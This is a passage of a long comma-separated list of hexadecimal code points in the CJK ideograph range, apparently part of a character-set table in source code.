0x4F48, 0x4F49, 0x4F4A, 0x4F4B, 0x4F4C, 0x4F52, 0x4F54, 0x4F56, 0x4F61,
0x4F62, 0x4F66, 0x4F68, 0x4F6A, 0x4F6B, 0x4F6D, 0x4F6E, 0x4F71, 0x4F72,
0x4F75, 0x4F77, 0x4F78, 0x4F79, 0x4F7A, 0x4F7D, 0x4F80, 0x4F81, 0x4F82,
0x4F85, 0x4F86, 0x4F87, 0x4F8A, 0x4F8C, 0x4F8E, 0x4F90, 0x4F92, 0x4F93,
0x4F95, 0x4F96, 0x4F98, 0x4F99, 0x4F9A, 0x4F9C, 0x4F9E, 0x4F9F, 0x4FA1,
0x4FA2, 0x4FA4, 0x4FAB, 0x4FAD, 0x4FB0, 0x4FB1, 0x4FB2, 0x4FB3, 0x4FB4,
0x4FB6, 0x4FB7, 0x4FB8, 0x4FB9, 0x4FBA, 0x4FBB, 0x4FBC, 0x4FBD, 0x4FBE,
0x4FC0, 0x4FC1, 0x4FC2, 0x4FC6, 0x4FC7, 0x4FC8, 0x4FC9, 0x4FCB, 0x4FCC,
0x4FCD, 0x4FD2, 0x4FD3, 0x4FD4, 0x4FD5, 0x4FD6, 0x4FD9, 0x4FDB, 0x4FE0,
0x4FE2, 0x4FE4, 0x4FE5, 0x4FE7, 0x4FEB, 0x4FEC, 0x4FF0, 0x4FF2, 0x4FF4,
0x4FF5, 0x4FF6, 0x4FF7, 0x4FF9, 0x4FFB, 0x4FFC, 0x4FFD, 0x4FFF, 0x5000,
0x5001, 0x5002, 0x5003, 0x5004, 0x5005, 0x5006, 0x5007, 0x5008, 0x5009,
0x500A, 0x500B, 0x500E, 0x5010, 0x5011, 0x5013, 0x5015, 0x5016, 0x5017,
0x501B, 0x501D, 0x501E, 0x5020, 0x5022, 0x5023, 0x5024, 0x5027, 0x502B,
0x502F, 0x5030, 0x5031, 0x5032, 0x5033, 0x5034, 0x5035, 0x5036, 0x5037,
0x5038, 0x5039, 0x503B, 0x503D, 0x503F, 0x5040, 0x5041, 0x5042, 0x5044,
0x5045, 0x5046, 0x5049, 0x504A, 0x504B, 0x504D, 0x5050, 0x5051, 0x5052,
0x5053, 0x5054, 0x5056, 0x5057, 0x5058, 0x5059, 0x505B, 0x505D, 0x505E,
0x505F, 0x5060, 0x5061, 0x5062, 0x5063, 0x5064, 0x5066, 0x5067, 0x5068,
0x5069, 0x506A, 0x506B, 0x506D, 0x506E, 0x506F, 0x5070, 0x5071, 0x5072,
0x5073, 0x5074, 0x5075, 0x5078, 0x5079, 0x507A, 0x507C, 0x507D, 0x5081,
0x5082, 0x5083, 0x5084, 0x5086, 0x5087, 0x5089, 0x508A, 0x508B, 0x508C,
0x508E, 0x508F, 0x5090, 0x5091, 0x5092, 0x5093, 0x5094, 0x5095, 0x5096,
0x5097, 0x5098, 0x5099, 0x509A, 0x509B, 0x509C, 0x509D, 0x509E, 0x509F,
0x50A0, 0x50A1, 0x50A2, 0x50A4, 0x50A6, 0x50AA, 0x50AB, 0x50AD, 0x50AE,
0x50AF, 0x50B0, 0x50B1, 0x50B3, 0x50B4, 0x50B5, 0x50B6, 0x50B7, 0x50B8,
0x50B9, 0x50BC, 0x50BD, 0x50BE, 0x50BF, 0x50C0, 0x50C1, 0x50C2, 0x50C3,
0x50C4, 0x50C5, 0x50C6, 0x50C7, 0x50C8, 0x50C9, 0x50CA, 0x50CB, 0x50CC,
0x50CD, 0x50CE, 0x50D0, 0x50D1, 0x50D2, 0x50D3, 0x50D4, 0x50D5, 0x50D7,
0x50D8, 0x50D9, 0x50DB, 0x50DC, 0x50DD, 0x50DE, 0x50DF, 0x50E0, 0x50E1,
0x50E2, 0x50E3, 0x50E4, 0x50E5, 0x50E8, 0x50E9, 0x50EA, 0x50EB, 0x50EF,
0x50F0, 0x50F1, 0x50F2, 0x50F4, 0x50F6, 0x50F7, 0x50F8, 0x50F9, 0x50FA,
0x50FC, 0x50FD, 0x50FE, 0x50FF, 0x5100, 0x5101, 0x5102, 0x5103, 0x5104,
0x5105, 0x5108, 0x5109, 0x510A, 0x510C, 0x510D, 0x510E, 0x510F, 0x5110,
0x5111, 0x5113, 0x5114, 0x5115, 0x5116, 0x5117, 0x5118, 0x5119, 0x511A,
0x511B, 0x511C, 0x511D, 0x511E, 0x511F, 0x5120, 0x5122, 0x5123, 0x5124,
0x5125, 0x5126, 0x5127, 0x5128, 0x5129, 0x512A, 0x512B, 0x512C, 0x512D,
0x512E, 0x512F, 0x5130, 0x5131, 0x5132, 0x5133, 0x5134, 0x5135, 0x5136,
0x5137, 0x5138, 0x5139, 0x513A, 0x513B, 0x513C, 0x513D, 0x513E, 0x5142,
0x5147, 0x514A, 0x514C, 0x514E, 0x514F, 0x5150, 0x5152, 0x5153, 0x5157,
0x5158, 0x5159, 0x515B, 0x515D, 0x515E, 0x515F, 0x5160, 0x5161, 0x5163,
0x5164, 0x5166, 0x5167, 0x5169, 0x516A, 0x516F, 0x5172, 0x517A, 0x517E,
0x517F, 0x5183, 0x5184, 0x5186, 0x5187, 0x518A, 0x518B, 0x518E, 0x518F,
0x5190, 0x5191, 0x5193, 0x5194, 0x5198, 0x519A, 0x519D, 0x519E, 0x519F,
0x51A1, 0x51A3, 0x51A6, 0x51A7, 0x51A8, 0x51A9, 0x51AA, 0x51AD, 0x51AE,
0x51B4, 0x51B8, 0x51B9, 0x51BA, 0x51BE, 0x51BF, 0x51C1, 0x51C2, 0x51C3,
0x51C5, 0x51C8, 0x51CA, 0x51CD, 0x51CE, 0x51D0, 0x51D2, 0x51D3, 0x51D4,
0x51D5, 0x51D6, 0x51D7, 0x51D8, 0x51D9, 0x51DA, 0x51DC, 0x51DE, 0x51DF,
0x51E2, 0x51E3, 0x51E5, 0x51E6, 0x51E7, 0x51E8, 0x51E9, 0x51EA, 0x51EC,
0x51EE, 0x51F1, 0x51F2, 0x51F4, 0x51F7, 0x51FE, 0x5204, 0x5205, 0x5209,
0x520B, 0x520C, 0x520F, 0x5210, 0x5213, 0x5214, 0x5215, 0x521C, 0x521E,
0x521F, 0x5221, 0x5222, 0x5223, 0x5225, 0x5226, 0x5227, 0x522A, 0x522C,
0x522F, 0x5231, 0x5232, 0x5234, 0x5235, 0x523C, 0x523E, 0x5244, 0x5245,
0x5246, 0x5247, 0x5248, 0x5249, 0x524B, 0x524E, 0x524F, 0x5252, 0x5253,
0x5255, 0x5257, 0x5258, 0x5259, 0x525A, 0x525B, 0x525D, 0x525F, 0x5260,
0x5262, 0x5263, 0x5264, 0x5266, 0x5268, 0x526B, 0x526C, 0x526D, 0x526E,
0x5270, 0x5271, 0x5273, 0x5274, 0x5275, 0x5276, 0x5277, 0x5278, 0x5279,
0x527A, 0x527B, 0x527C, 0x527E, 0x5280, 0x5283, 0x5284, 0x5285, 0x5286,
0x5287, 0x5289, 0x528A, 0x528B, 0x528C, 0x528D, 0x528E, 0x528F, 0x5291,
0x5292, 0x5294, 0x5295, 0x5296, 0x5297, 0x5298, 0x5299, 0x529A, 0x529C,
0x52A4, 0x52A5, 0x52A6, 0x52A7, 0x52AE, 0x52AF, 0x52B0, 0x52B4, 0x52B5,
0x52B6, 0x52B7, 0x52B8, 0x52B9, 0x52BA, 0x52BB, 0x52BC, 0x52BD, 0x52C0,
0x52C1, 0x52C2, 0x52C4, 0x52C5, 0x52C6, 0x52C8, 0x52CA, 0x52CC, 0x52CD,
0x52CE, 0x52CF, 0x52D1, 0x52D3, 0x52D4, 0x52D5, 0x52D7, 0x52D9, 0x52DA,
0x52DB, 0x52DC, 0x52DD, 0x52DE, 0x52E0, 0x52E1, 0x52E2, 0x52E3, 0x52E5,
0x52E6, 0x52E7, 0x52E8, 0x52E9, 0x52EA, 0x52EB, 0x52EC, 0x52ED, 0x52EE,
0x52EF, 0x52F1, 0x52F2, 0x52F3, 0x52F4, 0x52F5, 0x52F6, 0x52F7, 0x52F8,
0x52FB, 0x52FC, 0x52FD, 0x5301, 0x5302, 0x5303, 0x5304, 0x5307, 0x5309,
0x530A, 0x530B, 0x530C, 0x530E, 0x5311, 0x5312, 0x5313, 0x5314, 0x5318,
0x531B, 0x531C, 0x531E, 0x531F, 0x5322, 0x5324, 0x5325, 0x5327, 0x5328,
0x5329, 0x532B, 0x532C, 0x532D, 0x532F, 0x5330, 0x5331, 0x5332, 0x5333,
0x5334, 0x5335, 0x5336, 0x5337, 0x5338, 0x533C, 0x533D, 0x5340, 0x5342,
0x5344, 0x5346, 0x534B, 0x534C, 0x534D, 0x5350, 0x5354, 0x5358, 0x5359,
0x535B, 0x535D, 0x5365, 0x5368, 0x536A, 0x536C, 0x536D, 0x5372, 0x5376,
0x5379, 0x537B, 0x537C, 0x537D, 0x537E, 0x5380, 0x5381, 0x5383, 0x5387,
0x5388, 0x538A, 0x538E, 0x538F, 0x5390, 0x5391, 0x5392, 0x5393, 0x5394,
0x5396, 0x5397, 0x5399, 0x539B, 0x539C, 0x539E, 0x53A0, 0x53A1, 0x53A4,
0x53A7, 0x53AA, 0x53AB, 0x53AC, 0x53AD, 0x53AF, 0x53B0, 0x53B1, 0x53B2,
0x53B3, 0x53B4, 0x53B5, 0x53B7, 0x53B8, 0x53B9, 0x53BA, 0x53BC, 0x53BD,
0x53BE, 0x53C0, 0x53C3, 0x53C4, 0x53C5, 0x53C6, 0x53C7, 0x53CE, 0x53CF,
0x53D0, 0x53D2, 0x53D3, 0x53D5, 0x53DA, 0x53DC, 0x53DD, 0x53DE, 0x53E1,
0x53E2, 0x53E7, 0x53F4, 0x53FA, 0x53FE, 0x53FF, 0x5400, 0x5402, 0x5405,
0x5407, 0x540B, 0x5414, 0x5418, 0x5419, 0x541A, 0x541C, 0x5422, 0x5424,
0x5425, 0x542A, 0x5430, 0x5433, 0x5436, 0x5437, 0x543A, 0x543D, 0x543F,
0x5441, 0x5442, 0x5444, 0x5445, 0x5447, 0x5449, 0x544C, 0x544D, 0x544E,
0x544F, 0x5451, 0x545A, 0x545D, 0x545E, 0x545F, 0x5460, 0x5461, 0x5463,
0x5465, 0x5467, 0x5469, 0x546A, 0x546B, 0x546C, 0x546D, 0x546E, 0x546F,
0x5470, 0x5474, 0x5479, 0x547A, 0x547E, 0x547F, 0x5481, 0x5483, 0x5485,
0x5487, 0x5488, 0x5489, 0x548A, 0x548D, 0x5491, 0x5493, 0x5497, 0x5498,
0x549C, 0x549E, 0x549F, 0x54A0, 0x54A1, 0x54A2, 0x54A5, 0x54AE, 0x54B0,
0x54B2, 0x54B5, 0x54B6, 0x54B7, 0x54B9, 0x54BA, 0x54BC, 0x54BE, 0x54C3,
0x54C5, 0x54CA, 0x54CB, 0x54D6, 0x54D8, 0x54DB, 0x54E0, 0x54E1, 0x54E2,
0x54E3, 0x54E4, 0x54EB, 0x54EC, 0x54EF, 0x54F0, 0x54F1, 0x54F4, 0x54F5,
0x54F6, 0x54F7, 0x54F8, 0x54F9, 0x54FB, 0x54FE, 0x5500, 0x5502, 0x5503,
0x5504, 0x5505, 0x5508, 0x550A, 0x550B, 0x550C, 0x550D, 0x550E, 0x5512,
0x5513, 0x5515, 0x5516, 0x5517, 0x5518, 0x5519, 0x551A, 0x551C, 0x551D,
0x551E, 0x551F, 0x5521, 0x5525, 0x5526, 0x5528, 0x5529, 0x552B, 0x552D,
0x5532, 0x5534, 0x5535, 0x5536, 0x5538, 0x5539, 0x553A, 0x553B, 0x553D,
0x5540, 0x5542, 0x5545, 0x5547, 0x5548, 0x554B, 0x554C, 0x554D, 0x554E,
0x554F, 0x5551, 0x5552, 0x5553, 0x5554, 0x5557, 0x5558, 0x5559, 0x555A,
0x555B, 0x555D, 0x555E, 0x555F, 0x5560, 0x5562, 0x5563, 0x5568, 0x5569,
0x556B, 0x556F, 0x5570, 0x5571, 0x5572, 0x5573, 0x5574, 0x5579, 0x557A,
0x557D, 0x557F, 0x5585, 0x5586, 0x558C, 0x558D, 0x558E, 0x5590, 0x5592,
0x5593, 0x5595, 0x5596, 0x5597, 0x559A, 0x559B, 0x559E, 0x55A0, 0x55A1,
0x55A2, 0x55A3, 0x55A4, 0x55A5, 0x55A6, 0x55A8, 0x55A9, 0x55AA, 0x55AB,
0x55AC, 0x55AD, 0x55AE, 0x55AF, 0x55B0, 0x55B2, 0x55B4, 0x55B6, 0x55B8,
0x55BA, 0x55BC, 0x55BF, 0x55C0, 0x55C1, 0x55C2, 0x55C3, 0x55C6, 0x55C7,
0x55C8, 0x55CA, 0x55CB, 0x55CE, 0x55CF, 0x55D0, 0x55D5, 0x55D7, 0x55D8,
0x55D9, 0x55DA, 0x55DB, 0x55DE, 0x55E0, 0x55E2, 0x55E7, 0x55E9, 0x55ED,
0x55EE, 0x55F0, 0x55F1, 0x55F4, 0x55F6, 0x55F8, 0x55F9, 0x55FA, 0x55FB,
0x55FC, 0x55FF, 0x5602, 0x5603, 0x5604, 0x5605, 0x5606, 0x5607, 0x560A,
0x560B, 0x560D, 0x5610, 0x5611, 0x5612, 0x5613, 0x5614, 0x5615, 0x5616,
0x5617, 0x5619, 0x561A, 0x561C, 0x561D, 0x5620, 0x5621, 0x5622, 0x5625,
0x5626, 0x5628, 0x5629, 0x562A, 0x562B, 0x562E, 0x562F, 0x5630, 0x5633,
0x5635, 0x5637, 0x5638, 0x563A, 0x563C, 0x563D, 0x563E, 0x5640, 0x5641,
0x5642, 0x5643, 0x5644, 0x5645, 0x5646, 0x5647, 0x5648, 0x5649, 0x564A,
0x564B, 0x564F, 0x5650, 0x5651, 0x5652, 0x5653, 0x5655, 0x5656, 0x565A,
0x565B, 0x565D, 0x565E, 0x565F, 0x5660, 0x5661, 0x5663, 0x5665, 0x5666,
0x5667, 0x566D, 0x566E, 0x566F, 0x5670, 0x5672, 0x5673, 0x5674, 0x5675,
0x5677, 0x5678, 0x5679, 0x567A, 0x567D, 0x567E, 0x567F, 0x5680, 0x5681,
0x5682, 0x5683, 0x5684, 0x5687, 0x5688, 0x5689, 0x568A, 0x568B, 0x568C,
0x568D, 0x5690, 0x5691, 0x5692, 0x5694, 0x5695, 0x5696, 0x5697, 0x5698,
0x5699, 0x569A, 0x569B, 0x569C, 0x569D, 0x569E, 0x569F, 0x56A0, 0x56A1,
0x56A2, 0x56A4, 0x56A5, 0x56A6, 0x56A7, 0x56A8, 0x56A9, 0x56AA, 0x56AB,
0x56AC, 0x56AD, 0x56AE, 0x56B0, 0x56B1, 0x56B2, 0x56B3, 0x56B4, 0x56B5,
0x56B6, 0x56B8, 0x56B9, 0x56BA, 0x56BB, 0x56BD, 0x56BE, 0x56BF, 0x56C0,
0x56C1, 0x56C2, 0x56C3, 0x56C4, 0x56C5, 0x56C6, 0x56C7, 0x56C8, 0x56C9,
0x56CB, 0x56CC, 0x56CD, 0x56CE, 0x56CF, 0x56D0, 0x56D1, 0x56D2, 0x56D3,
0x56D5, 0x56D6, 0x56D8, 0x56D9, 0x56DC, 0x56E3, 0x56E5, 0x56E6, 0x56E7,
0x56E8, 0x56E9, 0x56EA, 0x56EC, 0x56EE, 0x56EF, 0x56F2, 0x56F3, 0x56F6,
0x56F7, 0x56F8, 0x56FB, 0x56FC, 0x5700, 0x5701, 0x5702, 0x5705, 0x5707,
0x570B, 0x570C, 0x570D, 0x570E, 0x570F, 0x5710, 0x5711, 0x5712, 0x5713,
0x5714, 0x5715, 0x5716, 0x5717, 0x5718, 0x5719, 0x571A, 0x571B, 0x571D,
0x571E, 0x5720, 0x5721, 0x5722, 0x5724, 0x5725, 0x5726, 0x5727, 0x572B,
0x5731, 0x5732, 0x5734, 0x5735, 0x5736, 0x5737, 0x5738, 0x573C, 0x573D,
0x573F, 0x5741, 0x5743, 0x5744, 0x5745, 0x5746, 0x5748, 0x5749, 0x574B,
0x5752, 0x5753, 0x5754, 0x5755, 0x5756, 0x5758, 0x5759, 0x5762, 0x5763,
0x5765, 0x5767, 0x576C, 0x576E, 0x5770, 0x5771, 0x5772, 0x5774, 0x5775,
0x5778, 0x5779, 0x577A, 0x577D, 0x577E, 0x577F, 0x5780, 0x5781, 0x5787,
0x5788, 0x5789, 0x578A, 0x578D, 0x578E, 0x578F, 0x5790, 0x5791, 0x5794,
0x5795, 0x5796, 0x5797, 0x5798, 0x5799, 0x579A, 0x579C, 0x579D, 0x579E,
0x579F, 0x57A5, 0x57A8, 0x57AA, 0x57AC, 0x57AF, 0x57B0, 0x57B1, 0x57B3,
0x57B5, 0x57B6, 0x57B7, 0x57B9, 0x57BA, 0x57BB, 0x57BC, 0x57BD, 0x57BE,
0x57BF, 0x57C0, 0x57C1, 0x57C4, 0x57C5, 0x57C6, 0x57C7, 0x57C8, 0x57C9,
0x57CA, 0x57CC, 0x57CD, 0x57D0, 0x57D1, 0x57D3, 0x57D6, 0x57D7, 0x57DB,
0x57DC, 0x57DE, 0x57E1, 0x57E2, 0x57E3, 0x57E5, 0x57E6, 0x57E7, 0x57E8,
0x57E9, 0x57EA, 0x57EB, 0x57EC, 0x57EE, 0x57F0, 0x57F1, 0x57F2, 0x57F3,
0x57F5, 0x57F6, 0x57F7, 0x57FB, 0x57FC, 0x57FE, 0x57FF, 0x5801, 0x5803,
0x5804, 0x5805, 0x5808, 0x5809, 0x580A, 0x580C, 0x580E, 0x580F, 0x5810,
0x5812, 0x5813, 0x5814, 0x5816, 0x5817, 0x5818, 0x581A, 0x581B, 0x581C,
0x581D, 0x581F, 0x5822, 0x5823, 0x5825, 0x5826, 0x5827, 0x5828, 0x5829,
0x582B, 0x582C, 0x582D, 0x582E, 0x582F, 0x5831, 0x5832, 0x5833, 0x5834,
0x5836, 0x5837, 0x5838, 0x5839, 0x583A, 0x583B, 0x583C, 0x583D, 0x583E,
0x583F, 0x5840, 0x5841, 0x5842, 0x5843, 0x5845, 0x5846, 0x5847, 0x5848,
0x5849, 0x584A, 0x584B, 0x584E, 0x584F, 0x5850, 0x5852, 0x5853, 0x5855,
0x5856, 0x5857, 0x5859, 0x585A, 0x585B, 0x585C, 0x585D, 0x585F, 0x5860,
0x5861, 0x5862, 0x5863, 0x5864, 0x5866, 0x5867, 0x5868, 0x5869, 0x586A,
0x586D, 0x586E, 0x586F, 0x5870, 0x5871, 0x5872, 0x5873, 0x5874, 0x5875,
0x5876, 0x5877, 0x5878, 0x5879, 0x587A, 0x587B, 0x587C, 0x587D, 0x587F,
0x5882, 0x5884, 0x5886, 0x5887, 0x5888, 0x588A, 0x588B, 0x588C, 0x588D,
0x588E, 0x588F, 0x5890, 0x5891, 0x5894, 0x5895, 0x5896, 0x5897, 0x5898,
0x589B, 0x589C, 0x589D, 0x58A0, 0x58A1, 0x58A2, 0x58A3, 0x58A4, 0x58A5,
0x58A6, 0x58A7, 0x58AA, 0x58AB, 0x58AC, 0x58AD, 0x58AE, 0x58AF, 0x58B0,
0x58B1, 0x58B2, 0x58B3, 0x58B4, 0x58B5, 0x58B6, 0x58B7, 0x58B8, 0x58B9,
0x58BA, 0x58BB, 0x58BD, 0x58BE, 0x58BF, 0x58C0, 0x58C2, 0x58C3, 0x58C4,
0x58C6, 0x58C7, 0x58C8, 0x58C9, 0x58CA, 0x58CB, 0x58CC, 0x58CD, 0x58CE,
0x58CF, 0x58D0, 0x58D2, 0x58D3, 0x58D4, 0x58D6, 0x58D7, 0x58D8, 0x58D9,
0x58DA, 0x58DB, 0x58DC, 0x58DD, 0x58DE, 0x58DF, 0x58E0, 0x58E1, 0x58E2,
0x58E3, 0x58E5, 0x58E6, 0x58E7, 0x58E8, 0x58E9, 0x58EA, 0x58ED, 0x58EF,
0x58F1, 0x58F2, 0x58F4, 0x58F5, 0x58F7, 0x58F8, 0x58FA, 0x58FB, 0x58FC,
0x58FD, 0x58FE, 0x58FF, 0x5900, 0x5901, 0x5903, 0x5905, 0x5906, 0x5908,
0x5909, 0x590A, 0x590B, 0x590C, 0x590E, 0x5910, 0x5911, 0x5912, 0x5913,
0x5917, 0x5918, 0x591B, 0x591D, 0x591E, 0x5920, 0x5921, 0x5922, 0x5923,
0x5926, 0x5928, 0x592C, 0x5930, 0x5932, 0x5933, 0x5935, 0x5936, 0x593B,
0x593D, 0x593E, 0x593F, 0x5940, 0x5943, 0x5945, 0x5946, 0x594A, 0x594C,
0x594D, 0x5950, 0x5952, 0x5953, 0x5959, 0x595B, 0x595C, 0x595D, 0x595E,
0x595F, 0x5961, 0x5963, 0x5964, 0x5966, 0x5967, 0x5968, 0x5969, 0x596A,
0x596B, 0x596C, 0x596D, 0x596E, 0x596F, 0x5970, 0x5971, 0x5972, 0x5975,
0x5977, 0x597A, 0x597B, 0x597C, 0x597E, 0x597F, 0x5980, 0x5985, 0x5989,
0x598B, 0x598C, 0x598E, 0x598F, 0x5990, 0x5991, 0x5994, 0x5995, 0x5998,
0x599A, 0x599B, 0x599C, 0x599D, 0x599F, 0x59A0, 0x59A1, 0x59A2, 0x59A6,
0x59A7, 0x59AC, 0x59AD, 0x59B0, 0x59B1, 0x59B3, 0x59B4, 0x59B5, 0x59B6,
0x59B7, 0x59B8, 0x59BA, 0x59BC, 0x59BD, 0x59BF, 0x59C0, 0x59C1, 0x59C2,
0x59C3, 0x59C4, 0x59C5, 0x59C7, 0x59C8, 0x59C9, 0x59CC, 0x59CD, 0x59CE,
0x59CF, 0x59D5, 0x59D6, 0x59D9, 0x59DB, 0x59DE, 0x59DF, 0x59E0, 0x59E1,
0x59E2, 0x59E4, 0x59E6, 0x59E7, 0x59E9, 0x59EA, 0x59EB, 0x59ED, 0x59EE,
0x59EF, 0x59F0, 0x59F1, 0x59F2, 0x59F3, 0x59F4, 0x59F5, 0x59F6, 0x59F7,
0x59F8, 0x59FA, 0x59FC, 0x59FD, 0x59FE, 0x5A00, 0x5A02, 0x5A0A, 0x5A0B,
0x5A0D, 0x5A0E, 0x5A0F, 0x5A10, 0x5A12, 0x5A14, 0x5A15, 0x5A16, 0x5A17,
0x5A19, 0x5A1A, 0x5A1B, 0x5A1D, 0x5A1E, 0x5A21, 0x5A22, 0x5A24, 0x5A26,
0x5A27, 0x5A28, 0x5A2A, 0x5A2B, 0x5A2C, 0x5A2D, 0x5A2E, 0x5A2F, 0x5A30,
0x5A33, 0x5A35, 0x5A37, 0x5A38, 0x5A39, 0x5A3A, 0x5A3B, 0x5A3D, 0x5A3E,
0x5A3F, 0x5A41, 0x5A42, 0x5A43, 0x5A44, 0x5A45, 0x5A47, 0x5A48, 0x5A4B,
0x5A4C, 0x5A4D, 0x5A4E, 0x5A4F, 0x5A50, 0x5A51, 0x5A52, 0x5A53, 0x5A54,
0x5A56, 0x5A57, 0x5A58, 0x5A59, 0x5A5B, 0x5A5C, 0x5A5D, 0x5A5E, 0x5A5F,
0x5A60, 0x5A61, 0x5A63, 0x5A64, 0x5A65, 0x5A66, 0x5A68, 0x5A69, 0x5A6B,
0x5A6C, 0x5A6D, 0x5A6E, 0x5A6F, 0x5A70, 0x5A71, 0x5A72, 0x5A73, 0x5A78,
0x5A79, 0x5A7B, 0x5A7C, 0x5A7D, 0x5A7E, 0x5A80, 0x5A81, 0x5A82, 0x5A83,
0x5A84, 0x5A85, 0x5A86, 0x5A87, 0x5A88, 0x5A89, 0x5A8A, 0x5A8B, 0x5A8C,
0x5A8D, 0x5A8E, 0x5A8F, 0x5A90, 0x5A91, 0x5A93, 0x5A94, 0x5A95, 0x5A96,
0x5A97, 0x5A98, 0x5A99, 0x5A9C, 0x5A9D, 0x5A9E, 0x5A9F, 0x5AA0, 0x5AA1,
0x5AA2, 0x5AA3, 0x5AA4, 0x5AA5, 0x5AA6, 0x5AA7, 0x5AA8, 0x5AA9, 0x5AAB,
0x5AAC, 0x5AAD, 0x5AAE, 0x5AAF, 0x5AB0, 0x5AB1, 0x5AB4, 0x5AB6, 0x5AB7,
0x5AB9, 0x5ABA, 0x5ABB, 0x5ABC, 0x5ABD, 0x5ABF, 0x5AC0, 0x5AC3, 0x5AC4,
0x5AC5, 0x5AC6, 0x5AC7, 0x5AC8, 0x5ACA, 0x5ACB, 0x5ACD, 0x5ACE, 0x5ACF,
0x5AD0, 0x5AD1, 0x5AD3, 0x5AD5, 0x5AD7, 0x5AD9, 0x5ADA, 0x5ADB, 0x5ADD,
0x5ADE, 0x5ADF, 0x5AE2, 0x5AE4, 0x5AE5, 0x5AE7, 0x5AE8, 0x5AEA, 0x5AEC,
0x5AED, 0x5AEE, 0x5AEF, 0x5AF0, 0x5AF2, 0x5AF3, 0x5AF4, 0x5AF5, 0x5AF6,
0x5AF7, 0x5AF8, 0x5AF9, 0x5AFA, 0x5AFB, 0x5AFC, 0x5AFD, 0x5AFE, 0x5AFF,
0x5B00, 0x5B01, 0x5B02, 0x5B03, 0x5B04, 0x5B05, 0x5B06, 0x5B07, 0x5B08,
0x5B0A, 0x5B0B, 0x5B0C, 0x5B0D, 0x5B0E, 0x5B0F, 0x5B10, 0x5B11, 0x5B12,
0x5B13, 0x5B14, 0x5B15, 0x5B18, 0x5B19, 0x5B1A, 0x5B1B, 0x5B1C, 0x5B1D,
0x5B1E, 0x5B1F, 0x5B20, 0x5B21, 0x5B22, 0x5B23, 0x5B24, 0x5B25, 0x5B26,
0x5B27, 0x5B28, 0x5B29, 0x5B2A, 0x5B2B, 0x5B2C, 0x5B2D, 0x5B2E, 0x5B2F,
0x5B30, 0x5B31, 0x5B33, 0x5B35, 0x5B36, 0x5B38, 0x5B39, 0x5B3A, 0x5B3B,
0x5B3C, 0x5B3D, 0x5B3E, 0x5B3F, 0x5B41, 0x5B42, 0x5B43, 0x5B44, 0x5B45,
0x5B46, 0x5B47, 0x5B48, 0x5B49, 0x5B4A, 0x5B4B, 0x5B4C, 0x5B4D, 0x5B4E,
0x5B4F, 0x5B52, 0x5B56, 0x5B5E, 0x5B60, 0x5B61, 0x5B67, 0x5B68, 0x5B6B,
0x5B6D, 0x5B6E, 0x5B6F, 0x5B72, 0x5B74, 0x5B76, 0x5B77, 0x5B78, 0x5B79,
0x5B7B, 0x5B7C, 0x5B7E, 0x5B7F, 0x5B82, 0x5B86, 0x5B8A, 0x5B8D, 0x5B8E,
0x5B90, 0x5B91, 0x5B92, 0x5B94, 0x5B96, 0x5B9F, 0x5BA7, 0x5BA8, 0x5BA9,
0x5BAC, 0x5BAD, 0x5BAE, 0x5BAF, 0x5BB1, 0x5BB2, 0x5BB7, 0x5BBA, 0x5BBB,
0x5BBC, 0x5BC0, 0x5BC1, 0x5BC3, 0x5BC8, 0x5BC9, 0x5BCA, 0x5BCB, 0x5BCD,
0x5BCE, 0x5BCF, 0x5BD1, 0x5BD4, 0x5BD5, 0x5BD6, 0x5BD7, 0x5BD8, 0x5BD9,
0x5BDA, 0x5BDB, 0x5BDC, 0x5BE0, 0x5BE2, 0x5BE3, 0x5BE6, 0x5BE7, 0x5BE9,
0x5BEA, 0x5BEB, 0x5BEC, 0x5BED, 0x5BEF, 0x5BF1, 0x5BF2, 0x5BF3, 0x5BF4,
0x5BF5, 0x5BF6, 0x5BF7, 0x5BFD, 0x5BFE, 0x5C00, 0x5C02, 0x5C03, 0x5C05,
0x5C07, 0x5C08, 0x5C0B, 0x5C0C, 0x5C0D, 0x5C0E, 0x5C10, 0x5C12, 0x5C13,
0x5C17, 0x5C19, 0x5C1B, 0x5C1E, 0x5C1F, 0x5C20, 0x5C21, 0x5C23, 0x5C26,
0x5C28, 0x5C29, 0x5C2A, 0x5C2B, 0x5C2D, 0x5C2E, 0x5C2F, 0x5C30, 0x5C32,
0x5C33, 0x5C35, 0x5C36, 0x5C37, 0x5C43, 0x5C44, 0x5C46, 0x5C47, 0x5C4C,
0x5C4D, 0x5C52, 0x5C53, 0x5C54, 0x5C56, 0x5C57, 0x5C58, 0x5C5A, 0x5C5B,
0x5C5C, 0x5C5D, 0x5C5F, 0x5C62, 0x5C64, 0x5C67, 0x5C68, 0x5C69, 0x5C6A,
0x5C6B, 0x5C6C, 0x5C6D, 0x5C70, 0x5C72, 0x5C73, 0x5C74, 0x5C75, 0x5C76,
0x5C77, 0x5C78, 0x5C7B, 0x5C7C, 0x5C7D, 0x5C7E, 0x5C80, 0x5C83, 0x5C84,
0x5C85, 0x5C86, 0x5C87, 0x5C89, 0x5C8A, 0x5C8B, 0x5C8E, 0x5C8F, 0x5C92,
0x5C93, 0x5C95, 0x5C9D, 0x5C9E, 0x5C9F, 0x5CA0, 0x5CA1, 0x5CA4, 0x5CA5,
0x5CA6, 0x5CA7, 0x5CA8, 0x5CAA, 0x5CAE, 0x5CAF, 0x5CB0, 0x5CB2, 0x5CB4,
0x5CB6, 0x5CB9, 0x5CBA, 0x5CBB, 0x5CBC, 0x5CBE, 0x5CC0, 0x5CC2, 0x5CC3,
0x5CC5, 0x5CC6, 0x5CC7, 0x5CC8, 0x5CC9, 0x5CCA, 0x5CCC, 0x5CCD, 0x5CCE,
0x5CCF, 0x5CD0, 0x5CD1, 0x5CD3, 0x5CD4, 0x5CD5, 0x5CD6, 0x5CD7, 0x5CD8,
0x5CDA, 0x5CDB, 0x5CDC, 0x5CDD, 0x5CDE, 0x5CDF, 0x5CE0, 0x5CE2, 0x5CE3,
0x5CE7, 0x5CE9, 0x5CEB, 0x5CEC, 0x5CEE, 0x5CEF, 0x5CF1, 0x5CF2, 0x5CF3,
0x5CF4, 0x5CF5, 0x5CF6, 0x5CF7, 0x5CF8, 0x5CF9, 0x5CFA, 0x5CFC, 0x5CFD,
0x5CFE, 0x5CFF, 0x5D00, 0x5D01, 0x5D04, 0x5D05, 0x5D08, 0x5D09, 0x5D0A,
0x5D0B, 0x5D0C, 0x5D0D, 0x5D0F, 0x5D10, 0x5D11, 0x5D12, 0x5D13, 0x5D15,
0x5D17, 0x5D18, 0x5D19, 0x5D1A, 0x5D1C, 0x5D1D, 0x5D1F, 0x5D20, 0x5D21,
